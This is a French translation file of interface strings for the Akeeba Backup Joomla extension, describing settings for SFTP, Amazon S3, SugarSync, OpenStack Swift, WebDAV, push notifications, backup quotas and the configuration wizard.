COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_HOST_DESCRIPTION="Le nom d'hôte du serveur SFTP, sans le protocole. Cela signifie que <code>sftp://example.com</code> ou <code>ssh://example.com</code> est <strong>invalide</strong> et NE DOIT PAS être utilisé, mais que <code>example.com</code> est valide et DOIT être utilisé. Ce moteur ne prend en charge que les serveurs SFTP (SSH). Il <u>ne prend pas</u> en charge FTP, FTPS ou toute autre variante FTP. Il nécessite que l'extension PHP SSH2 soit installée et activée."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_HOST_TITLE="Nom d'hôte"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_INITDIR_DESCRIPTION="Le chemin <strong>SFTP</strong> absolu (généralement identique au chemin du système de fichiers) vers le répertoire où les fichiers seront téléversés. En cas de doute, connectez-vous à votre serveur avec FileZilla, naviguez jusqu'au répertoire souhaité et copiez le chemin affiché dans le volet droit au-dessus de la liste des répertoires. Il s'agit généralement de quelque chose de long, comme <code>/home/myuser/public_html</code>."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_INITDIR_TITLE="Répertoire initial"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PASSWORD_DESCRIPTION="Le mot de passe du serveur SFTP. Il est généralement sensible à la casse. En cas de doute, veuillez contacter votre administrateur réseau."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PASSWORD_TITLE="Mot de passe"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PORT_DESCRIPTION="Le port du serveur SFTP. Le paramètre le plus courant est 22. En cas de doute, veuillez contacter votre administrateur réseau."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PORT_TITLE="Port"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PRIVKEY_DESCRIPTION="LISEZ LA DOCUMENTATION AVANT D'UTILISER. Le chemin absolu dans le système de fichiers vers un fichier de clé privée RSA/DSA utilisé pour se connecter au serveur distant. S'il est chiffré, entrez la phrase secrète dans le champ de mot de passe ci-dessus. Si vous ne savez pas ce que c'est, ou si vous pensez devoir demander de l'assistance à ce sujet, laissez ce champ vide et ne nous en parlez pas."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PRIVKEY_TITLE="Fichier de clé privée (avancé)"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PUBKEY_DESCRIPTION="LISEZ LA DOCUMENTATION AVANT D'UTILISER. Le chemin absolu dans le système de fichiers vers un fichier de clé publique RSA/DSA utilisé pour se connecter au serveur distant. Si vous ne savez pas ce que c'est, ou si vous pensez devoir demander de l'assistance à ce sujet, laissez ce champ vide et ne nous en parlez pas."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PUBKEY_TITLE="Fichier de clé publique (avancé)"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_TEST_DESCRIPTION="Utilisez ce bouton pour tester la connexion SFTP et afficher les erreurs de connexion en cas d'échec."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_TEST_TITLE="Tester la connexion SFTP"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_USER_DESCRIPTION="Le nom d'utilisateur du serveur SFTP. Il est généralement sensible à la casse. En cas de doute, veuillez contacter votre administrateur réseau."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_USER_TITLE="Nom d'utilisateur"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_DIRECTORY_DESCRIPTION="Le répertoire dans votre compte iDriveSync où les archives de sauvegarde seront stockées. Laissez vide ou définissez sur / pour stocker les fichiers à la racine de votre compte."
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_DIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_NEWENDPOINT_DESCRIPTION="À partir de mi-2016, les nouveaux utilisateurs doivent utiliser le nouveau point de terminaison de l'API"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_NEWENDPOINT_TITLE="Utiliser le nouveau point de terminaison"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PASSWORD_DESCRIPTION="Votre mot de passe iDriveSync"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PASSWORD_TITLE="Mot de passe"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PVTKEY_DESCRIPTION="Votre clé privée iDriveSync. Uniquement si vous utilisez déjà une clé privée dans votre compte iDriveSync."
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PVTKEY_TITLE="Clé privée (facultatif)"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_USERNAME_DESCRIPTION="Le nom d'utilisateur ou l'adresse e-mail que vous avez utilisés pour vous abonner à iDriveSync"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_USERNAME_TITLE="Nom d'utilisateur ou e-mail"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_ADDRESS_DESCRIPTION="L'adresse e-mail à laquelle les fichiers de sauvegarde seront envoyés"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_ADDRESS_TITLE="Adresse e-mail"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_SUBJECT_DESCRIPTION="L'objet de l'e-mail (facultatif). Cette option est principalement destinée à vous aider à distinguer les sauvegardes provenant de plusieurs sites."
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_SUBJECT_TITLE="Objet de l'e-mail"
COM_AKEEBABACKUP_CONFIG_PROCENGINE_DESCRIPTION="Les moteurs de post-traitement permettent à Akeeba Backup de transférer les parties d'archives de sauvegarde finalisées vers d'autres serveurs et fournisseurs de stockage à distance."
COM_AKEEBABACKUP_CONFIG_PROCENGINE_TITLE="Moteur de post-traitement"
COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_DESC="Accédez à https://www.pushbullet.com/account et copiez le jeton d'accès depuis cette page dans la zone de texte ci-contre. Il est utilisé pour envoyer des messages push à votre compte. Vous pouvez coller plusieurs jetons séparés par des virgules. Remarque : le jeton d'accès est visible par toutes les personnes ayant accès à cette page de configuration."
COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_LABEL="Jeton d'accès Pushbullet"
COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_DESC="Ici, vous pouvez configurer les notifications push pour les événements de sauvegarde à envoyer directement sur votre téléphone, tablette, ordinateur portable ou de bureau. Vous devez d'abord télécharger l'application tierce gratuite <a href='http://pushbullet.com/'>Pushbullet</a>."
COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_LABEL="Notifications push"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_DESC="Akeeba Backup doit-il vous envoyer des notifications et, si oui, comment ? Si vous sélectionnez Web Push, enregistrez ces options et revenez à la page du Panneau de contrôle. Vous verrez une nouvelle zone de notifications push sous les icônes rapides de sauvegarde, où vous pourrez gérer les notifications push pour votre navigateur."
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_LABEL="Notifications push"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_NONE="Désactivé"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_PUSHBULLET="PushBullet"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_WEBPUSH="Web Push (API navigateur)"
COM_AKEEBABACKUP_CONFIG_QUICKICON_DESC="Lorsque cette option est cochée, Akeeba Backup affichera une icône de sauvegarde en un clic en haut de la page du Panneau de contrôle. Un clic dessus activera ce profil et effectuera une sauvegarde sans aucune autre action de votre part."
COM_AKEEBABACKUP_CONFIG_QUICKICON_LABEL="Icône de sauvegarde en un clic"
COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_TITLE="La sauvegarde en cours participe aux quotas de fichiers distants"
COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_DESCRIPTION="Lorsque cette option est activée, la sauvegarde en cours participe aux quotas de fichiers distants. Cela peut être problématique ; si la sauvegarde est partiellement téléversée sur le stockage distant et que les paramètres de quota sont tels que seule la dernière sauvegarde est conservée, vous pourriez vous retrouver sans sauvegarde valide stockée à distance. La désactiver réduit le risque de vous retrouver sans sauvegarde valide dans le stockage distant, au prix du stockage d'une archive de sauvegarde supplémentaire à distance."
COM_AKEEBABACKUP_CONFIG_LOCAL_HEAD="Quotas de fichiers locaux"
COM_AKEEBABACKUP_CONFIG_REMOTE_HEAD="Quotas de fichiers distants"
COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_DESCRIPTION="Ce paramètre définit dans quelle mesure Akeeba Backup sera conservateur lorsqu'il essaiera d'éviter un délai d'expiration. Plus cette valeur est basse, plus il sera conservateur. Si vous obtenez des erreurs de délai d'expiration, essayez de diminuer à la fois le temps d'exécution maximum et ce paramètre.<strong>Conseil</strong> : Sélectionnez Personnalisé et saisissez la valeur souhaitée si elle ne figure pas dans la liste."
COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_TITLE="Biais de temps d'exécution"
COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_DESCRIPTION="Votre clé d'accès Amazon S3, disponible sur la page de votre profil personnel Amazon Web Services"
COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_TITLE="Clé d'accès"
COM_AKEEBABACKUP_CONFIG_S3BUCKET_DESCRIPTION="Le nom de votre compartiment Amazon S3"
COM_AKEEBABACKUP_CONFIG_S3BUCKET_TITLE="Compartiment"
COM_AKEEBABACKUP_CONFIG_S3CUSTOMENDPOINT_DESCRIPTION="À utiliser avec des services de stockage tiers implémentant une API compatible S3. Entrez le point de terminaison (URL de l'API) de l'API compatible S3 du service de stockage tiers. IMPORTANT : Si vous utilisez Amazon S3, vous <strong>DEVEZ LAISSER CE CHAMP VIDE</strong>."
COM_AKEEBABACKUP_CONFIG_S3CUSTOMENDPOINT_TITLE="Point de terminaison personnalisé"
COM_AKEEBABACKUP_CONFIG_S3DIRECTORY_DESCRIPTION="Le répertoire dans votre compartiment où les archives de sauvegarde seront stockées. Laissez vide pour stocker les fichiers à la racine du compartiment."
COM_AKEEBABACKUP_CONFIG_S3DIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_S3_ACL_TITLE="Permissions des fichiers (ACL)"
COM_AKEEBABACKUP_CONFIG_S3_ACL_DESCRIPTION="Choisissez les permissions du fichier téléversé. Dans la plupart des cas, « Privé » ou « Le propriétaire du compartiment peut lire » sont les choix les plus appropriés. Si vous utilisez un service compatible S3 tiers, vous pouvez utiliser « Privé » plutôt que le paramètre par défaut."
COM_AKEEBABACKUP_CONFIG_S3_ACL_PRIVATE="Privé"
COM_AKEEBABACKUP_CONFIG_S3_ACL_PUBLIC_READ="Tout le monde peut lire"
COM_AKEEBABACKUP_CONFIG_S3_ACL_PUBLIC_READ_WRITE="Tout le monde peut lire et écrire"
COM_AKEEBABACKUP_CONFIG_S3_ACL_AUTHENTICATED_READ="Les utilisateurs IAM authentifiés peuvent lire"
COM_AKEEBABACKUP_CONFIG_S3_ACL_BUCKET_OWNER_READ="Le propriétaire du compartiment peut lire"
COM_AKEEBABACKUP_CONFIG_S3_ACL_BUCKET_OWNER_FULL_CONTROL="Le propriétaire du compartiment dispose d'un contrôle total"
COM_AKEEBABACKUP_CONFIG_S3LEGACY_DESCRIPTION="Lorsque cette option est activée, tous les téléversements vers Amazon S3 seront forcés en mode partie unique. Utilisez cette option si vous obtenez des erreurs RequestTimeout du moteur S3 lors du téléversement des parties de sauvegarde."
COM_AKEEBABACKUP_CONFIG_S3LEGACY_TITLE="Désactiver les téléversements en plusieurs parties"
COM_AKEEBABACKUP_CONFIG_S3RRS_DESCRIPTION="Sélectionnez la classe de stockage pour vos données. La classe Standard est le stockage habituel pour les données critiques. Veuillez consulter la documentation Amazon S3 pour la description de chaque classe de stockage."
COM_AKEEBABACKUP_CONFIG_S3RRS_TITLE="Classe de stockage"
COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_DESCRIPTION="Votre clé secrète Amazon S3, disponible sur la page de votre profil personnel Amazon Web Services"
COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_TITLE="Clé secrète"
COM_AKEEBABACKUP_CONFIG_S3USESSL_DESCRIPTION="Si activée, une connexion sécurisée (HTTPS) sera utilisée lors du téléversement de vos fichiers. Bien que cela augmente la sécurité des données transférées, cela accroît également le risque d'échec de la sauvegarde en raison d'un délai d'attente."
COM_AKEEBABACKUP_CONFIG_S3USESSL_TITLE="Utiliser SSL"
COM_AKEEBABACKUP_CONFIG_S3_DUALSTACK_DESCRIPTION="Faut-il utiliser les points de terminaison double pile pour Amazon S3 ? Cela permet d'accéder à S3 via IPv6 pour les serveurs prenant en charge IPv6. Les serveurs sans prise en charge IPv6 pourront toujours accéder à S3 via IPv4. Cette option n'a aucun effet si vous utilisez un point de terminaison personnalisé."
COM_AKEEBABACKUP_CONFIG_S3_DUALSTACK_TITLE="Activer la prise en charge IPv6 (double pile)"
COM_AKEEBABACKUP_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_TITLE="Format de date alternatif"
COM_AKEEBABACKUP_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_DESCRIPTION="Ne désactivez ce paramètre que si le support vous le demande."
COM_AKEEBABACKUP_CONFIG_S3_USEHTTPDATEHEADER_TITLE="Utiliser l'en-tête HTTP Date au lieu de X-Amz-Date"
COM_AKEEBABACKUP_CONFIG_S3_USEHTTPDATEHEADER_DESCRIPTION="N'activez ce paramètre que si le support vous le demande."
COM_AKEEBABACKUP_CONFIG_S3_PRESIGNEDBUCKETINURL_TITLE="Inclure le nom du compartiment dans les URL v4 pré-signées"
COM_AKEEBABACKUP_CONFIG_S3_PRESIGNEDBUCKETINURL_DESCRIPTION="N'activez ce paramètre que si le support vous le demande."
COM_AKEEBABACKUP_CONFIG_SAVENEW_DEFAULT_PROFILE_NAME="Nouveau profil de sauvegarde"
COM_AKEEBABACKUP_CONFIG_SAVE_OK="La configuration a été enregistrée"
COM_AKEEBABACKUP_CONFIG_SCANENGINE_DESCRIPTION="Définit la façon dont Akeeba Backup parcourra les fichiers et dossiers de votre site afin de déterminer lesquels doivent être sauvegardés."
COM_AKEEBABACKUP_CONFIG_SCANENGINE_TITLE="Moteur de balayage du système de fichiers"
COM_AKEEBABACKUP_CONFIG_SECRETWORD_DESC="Ce mot de passe sera utilisé avec les fonctionnalités de sauvegarde frontale (API héritée) et d'API JSON pour les protéger contre les accès non autorisés. Akeeba Backup n'activera PAS ces fonctionnalités à moins que vous n'utilisiez ici un mot de passe long et complexe. Consultez la documentation pour plus d'informations."
COM_AKEEBABACKUP_CONFIG_SECRETWORD_LABEL="Mot secret"
COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_DESCRIPTION="Lorsqu'elle est activée, les paramètres de configuration sont chiffrés à l'aide du chiffrement standard AES-128."
COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_LABEL="Utiliser le chiffrement"
COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_LABEL="Pas de flush()"
COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_DESCRIPTION="Désactive l'utilisation de flush() lors des opérations AJAX. N'activez cette option que sur des serveurs très défaillants où la sauvegarde ne démarre même pas."
COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_LABEL="Chemin PHP-CLI précis"
COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_DESCRIPTION="Activez cette option pour qu'Akeeba Backup tente de détecter le chemin PHP-CLI précis sur votre serveur. Désactivez-la si votre serveur ne vous le permet pas, car cela pourrait bloquer votre adresse IP hors de votre site pendant plusieurs minutes à plusieurs heures (par exemple IONOS)."
COM_AKEEBABACKUP_CONFIG_SFTPTEST_BADPREFIX="Vous n'êtes PAS supposé ajouter le préfixe sftp:// à votre nom d'hôte SFTP. Veuillez supprimer le préfixe sftp:// et réessayer."
COM_AKEEBABACKUP_CONFIG_SFTPTEST_NOUPLOAD="Akeeba Backup a pu se connecter à votre serveur, mais il n'a pas pu téléverser un fichier de test. Le téléversement de la sauvegarde pourrait échouer."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_DESCRIPTION="Lorsqu'elle est activée, Akeeba Backup supprimera les anciens fichiers de sauvegarde si la taille totale des archives de sauvegarde dépasse la valeur définie ci-dessous. Ce paramètre est appliqué <strong>par profil</strong>."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_TITLE="Activer le quota de taille"
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_DESCRIPTION="Si la taille totale des archives de sauvegarde créées avec le profil actuel dépasse cette limite, les sauvegardes les plus anciennes seront supprimées du serveur.<br/><br/><strong>Astuce</strong> : Sélectionnez Personnalisé et saisissez la valeur souhaitée si elle ne figure pas dans la liste."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_TITLE="Quota de taille"
COM_AKEEBABACKUP_CONFIG_SPLITDBDUMP_DESCRIPTION="Vos sauvegardes de base de données seront découpées en petits fichiers pour améliorer la compression et éviter les problèmes de taille de fichier sur certains hébergeurs bon marché. Idéalement, vous devriez utiliser la moitié de la taille de votre seuil de gros fichier. Définissez la valeur à 0 pour désactiver le découpage et créer un seul fichier de vidage par base de données."
COM_AKEEBABACKUP_CONFIG_SPLITDBDUMP_TITLE="Taille des fichiers SQL de vidage découpés"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_ACCESS_DESCRIPTION="Saisissez votre identifiant de clé d'accès. Créez-en un sur https://www.sugarsync.com/developer/account"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_ACCESS_TITLE="Identifiant de clé d'accès"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_DIRECTORY_DESCRIPTION="Le répertoire dans lequel stocker les fichiers de sauvegarde. Si la première partie du répertoire ne correspond pas au nom d'un dossier de synchronisation SugarSync, le répertoire sera créé dans votre dossier Magic Briefcase. Vous pouvez utiliser les mêmes variables que pour les noms d'archives de sauvegarde, par exemple [HOST] pour le nom de domaine de votre site ou [DATE] pour la date actuelle."
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_DIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_EMAIL_DESCRIPTION="L'adresse e-mail de votre compte SugarSync"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_EMAIL_TITLE="E-mail"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PASSWORD_DESCRIPTION="Le mot de passe de votre compte SugarSync"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PASSWORD_TITLE="Mot de passe"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PRIVATE_DESCRIPTION="Saisissez la clé d'accès privée correspondant à votre identifiant de clé d'accès. Créez-en une sur https://www.sugarsync.com/developer/account"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PRIVATE_TITLE="Clé d'accès privée"
COM_AKEEBABACKUP_CONFIG_SWIFT_AUTHURL_DESCRIPTION="Le point de terminaison du service Keystone de votre installation OpenStack. Incluez la version. N'incluez PAS le suffixe /token. Exemple : https://authentication.example.com/v2.0"
COM_AKEEBABACKUP_CONFIG_SWIFT_AUTHURL_TITLE="URL d'authentification"
COM_AKEEBABACKUP_CONFIG_SWIFT_CONTAINERURL_DESCRIPTION="Le point de terminaison API pour votre conteneur de stockage d'objets, par exemple https://storage.example.com/v1/AUTH_abcdef0123456789abcdef0123456789/my-container"
COM_AKEEBABACKUP_CONFIG_SWIFT_CONTAINERURL_TITLE="URL du conteneur"
COM_AKEEBABACKUP_CONFIG_SWIFT_DIRECTORY_DESCRIPTION="Le répertoire dans le conteneur de stockage d'objets OpenStack Swift où stocker les archives de sauvegarde. Pour tout stocker à la racine du conteneur, laissez ce champ vide."
COM_AKEEBABACKUP_CONFIG_SWIFT_DIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_SWIFT_PASSWORD_DESCRIPTION="Le mot de passe API OpenStack pour votre cloud."
COM_AKEEBABACKUP_CONFIG_SWIFT_PASSWORD_TITLE="Mot de passe OpenStack"
COM_AKEEBABACKUP_CONFIG_SWIFT_TENANTID_DESCRIPTION="Votre identifiant de locataire OpenStack (Keystone v2) ou identifiant de projet (Keystone v3), par exemple a0b1c2d3e4f56789abcdef0123456789"
COM_AKEEBABACKUP_CONFIG_SWIFT_TENANTID_TITLE="ID de locataire / ID de projet"
COM_AKEEBABACKUP_CONFIG_SWIFT_USERNAME_DESCRIPTION="Le nom d'utilisateur API OpenStack pour votre cloud."
COM_AKEEBABACKUP_CONFIG_SWIFT_USERNAME_TITLE="Nom d'utilisateur OpenStack"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_TITLE="Version de Keystone"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_DESCRIPTION="Choisissez la version du service d'authentification OpenStack Keystone utilisée par votre fournisseur de stockage. En cas de doute, veuillez contacter votre fournisseur de stockage."
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_V2="Keystone v2 (Héritée)"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_V3="Keystone v3"
COM_AKEEBABACKUP_CONFIG_SWIFT_DOMAIN_TITLE="Domaine d'authentification Keystone v3"
COM_AKEEBABACKUP_CONFIG_SWIFT_DOMAIN_DESCRIPTION="Utilisé uniquement avec l'authentification Keystone v3. Il s'agit du domaine d'authentification pour le service Keystone v3, <strong>PAS</strong> du nom d'hôte du serveur d'authentification Keystone. Dans la plupart des cas, c'est <code>default</code> ou <code>Default</code>. En cas de doute, veuillez contacter votre fournisseur de stockage."
COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TEXT="Une erreur s'est produite lors de l'attente d'une réponse AJAX :"
COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TITLE="Erreur AJAX"
COM_AKEEBABACKUP_CONFIG_UI_BROWSE="Parcourir..."
COM_AKEEBABACKUP_CONFIG_UI_BROWSER_TITLE="Navigateur de répertoires"
COM_AKEEBABACKUP_CONFIG_UI_CONFIG="Configurer..."
COM_AKEEBABACKUP_CONFIG_UI_CUSTOM="Personnalisé..."
COM_AKEEBABACKUP_CONFIG_UI_FTPBROWSER_TITLE="Navigateur de répertoires FTP"
COM_AKEEBABACKUP_CONFIG_UI_REFRESH="Actualiser"
COM_AKEEBABACKUP_CONFIG_UI_ROOTDIR="L'utilisation de la racine du site comme répertoire de sortie de sauvegarde ou de stockage temporaire entraînera l'échec de la sauvegarde. Votre paramètre est remplacé."
COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_NOTSECURED="Votre serveur ne prend pas en charge le chiffrement de vos paramètres de configuration. Nous vous déconseillons fortement de stocker des mots de passe dans la configuration."
COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_SECURED="Vos paramètres sont sécurisés par un chiffrement 128 bits. Vous pouvez stocker vos mots de passe en toute sécurité dans la configuration."
COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_DESCRIPTION="Lorsque cette option est cochée, une copie d'Akeeba Kickstart Professional sera téléversée vers le stockage distant spécifié dans le moteur de post-traitement ci-dessus (à l'exception des moteurs Aucun et E-mail). Cela est utile lorsque vous utilisez FTP ou SFTP pour transférer votre site vers un serveur différent : votre archive de sauvegarde et Kickstart, utilisé pour l'extraire, seront tous deux téléversés sur votre serveur distant. Une fois la sauvegarde terminée, vous pouvez simplement lancer Kickstart sur le site distant et procéder à sa restauration. Si simple !"
COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_TITLE="Téléverser Kickstart vers le stockage distant"
COM_AKEEBABACKUP_CONFIG_USAGESTATS_DESC="Aidez-nous à améliorer notre logiciel en signalant de façon anonyme et automatique vos versions de PHP, MySQL et Joomla!. Ces informations nous aideront à décider quelles versions de Joomla!, PHP et MySQL prendre en charge dans les versions futures. Remarque : nous ne collectons PAS le nom de votre site, votre adresse IP ni aucune autre information d'identification directe ou indirecte."
COM_AKEEBABACKUP_CONFIG_USAGESTATS_LABEL="Activer le signalement anonyme des versions PHP, MySQL et Joomla!"
COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_DESCRIPTION="Si vous avez configuré des répertoires hors site, leur contenu apparaîtra dans l'archive sous forme de sous-répertoires de ce répertoire virtuel. Il est virtuel car il n'existe pas réellement sur votre serveur. Il n'existe qu'à l'intérieur de l'archive de sauvegarde. Assurez-vous que le nom du répertoire virtuel n'entre pas en conflit avec un répertoire existant afin d'éviter toute perte de données."
COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_TITLE="Répertoire virtuel pour les fichiers hors site"
COM_AKEEBABACKUP_CONFIG_WEBDAV_DIRECTORY_DESCRIPTION="Répertoire"
COM_AKEEBABACKUP_CONFIG_WEBDAV_DIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_WEBDAV_PASSWORD_DESCRIPTION="Mot de passe"
COM_AKEEBABACKUP_CONFIG_WEBDAV_PASSWORD_TITLE="Mot de passe"
COM_AKEEBABACKUP_CONFIG_WEBDAV_URL_DESCRIPTION="URL de base WebDAV"
COM_AKEEBABACKUP_CONFIG_WEBDAV_URL_TITLE="URL de base WebDAV"
COM_AKEEBABACKUP_CONFIG_WEBDAV_USERNAME_DESCRIPTION="Nom d'utilisateur"
COM_AKEEBABACKUP_CONFIG_WEBDAV_USERNAME_TITLE="Nom d'utilisateur"
COM_AKEEBABACKUP_CONFIG_WHERE_ARE_THE_FILTERS="Si vous cherchez les filtres &ndash;par exemple pour exclure des fichiers, des répertoires et des tables de base de données&ndash; veuillez cliquer sur le bouton Annuler pour revenir à la page du panneau de contrôle où vous pouvez accéder directement à ces fonctionnalités."
COM_AKEEBABACKUP_CONFIG_ZIPCDGLUECHUNKSIZE_DESCRIPTION="Les fichiers ZIP sont composés d'une section de données et d'une section « répertoire ». Ces sections sont traitées en parallèle par Akeeba Backup et assemblées lors de la phase de finalisation de l'archive. Ce paramètre détermine la quantité de données traitées à la fois lors de cette phase. Vous ne devriez pas avoir besoin de modifier ce paramètre, sauf en cas de graves problèmes d'épuisement de la mémoire."
COM_AKEEBABACKUP_CONFIG_ZIPCDGLUECHUNKSIZE_TITLE="Taille des blocs pour le traitement du répertoire central"
COM_AKEEBABACKUP_CONFIG__BACKBLAZE_DIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFWIZ="Assistant de configuration"
COM_AKEEBABACKUP_CONFWIZ_CONGRATS="Félicitations ! Vous avez terminé l'assistant de configuration automatique. Vous pouvez maintenant tester votre nouvelle configuration en effectuant une sauvegarde, ou la peaufiner sur la page de configuration."
COM_AKEEBABACKUP_CONFWIZ_DBOPT="Optimisation des paramètres du moteur de vidage de base de données"
COM_AKEEBABACKUP_CONFWIZ_DIRECTORY="Examen du répertoire de sortie"
COM_AKEEBABACKUP_CONFWIZ_HEADER_FAILED="Échec de l'assistant de configuration"
COM_AKEEBABACKUP_CONFWIZ_HEADER_FINISHED="Analyse comparative terminée"
COM_AKEEBABACKUP_CONFWIZ_INTROTEXT="L'assistant de configuration exécute une série d'analyses comparatives sur votre serveur pour déterminer les paramètres de sauvegarde optimaux pour votre site. Veuillez ne pas quitter cette page. Il est normal qu'elle semble figée pendant des périodes allant jusqu'à trois (3) minutes, selon la vitesse de votre serveur."
COM_AKEEBABACKUP_CONFWIZ_MAXEXEC="Optimisation du temps d'exécution maximum"
COM_AKEEBABACKUP_CONFWIZ_MINEXEC="Optimisation du temps d'exécution minimum"
COM_AKEEBABACKUP_CONFWIZ_PROGRESS="Analyse de l'environnement serveur en cours"
COM_AKEEBABACKUP_CONFWIZ_SPLITSIZE="Détermination de la taille de partie requise pour les archives découpées"
COM_AKEEBABACKUP_CONFWIZ_FLUSH="Vérification du fonctionnement de <code>flush()</code> sur votre serveur"
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDBOPT="Akeeba Backup n'a pas pu déterminer les paramètres optimaux de vidage de base de données. Assurez-vous que votre serveur fonctionne sous MySQL 5.0 ou ultérieur et que votre utilisateur de base de données est autorisé à exécuter la commande SHOW TABLE STATUS avant de relancer cet assistant."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEMINEXEC="Impossible de déterminer le temps d'exécution minimum. Cela indique un problème grave de communication avec votre serveur. Veuillez essayer de configurer Akeeba Backup manuellement."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEPARTSIZE="Akeeba Backup n'a pas pu déterminer une taille de partie adaptée à votre serveur. Veuillez vous assurer que vous disposez d'un espace libre suffisant sur votre compte et relancer cet assistant."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTFIXDIRECTORIES="Akeeba Backup n'a pas pu trouver de répertoire de sortie et temporaire accessible en écriture. Veuillez accorder les droits d'écriture au répertoire administrator/components/com_akeebabackup/backup et relancer cet assistant."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMAXEXEC="Akeeba Backup n'a pas pu enregistrer les préférences de temps d'exécution maximum. Vous devrez le configurer manuellement."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMINEXEC="Impossible d'enregistrer la préférence de temps d'exécution minimum. Vous devrez configurer Akeeba Backup manuellement."
COM_AKEEBABACKUP_CONFWIZ_UI_EXECTOOLOW="Akeeba Backup a détecté que votre serveur nécessite un temps d'exécution maximum trop faible pour être pratique. Vous feriez mieux de changer d'hébergeur ou de demander à votre hébergeur d'augmenter le temps d'exécution maximum de PHP et de supprimer toute limitation d'utilisation du CPU sur votre compte."
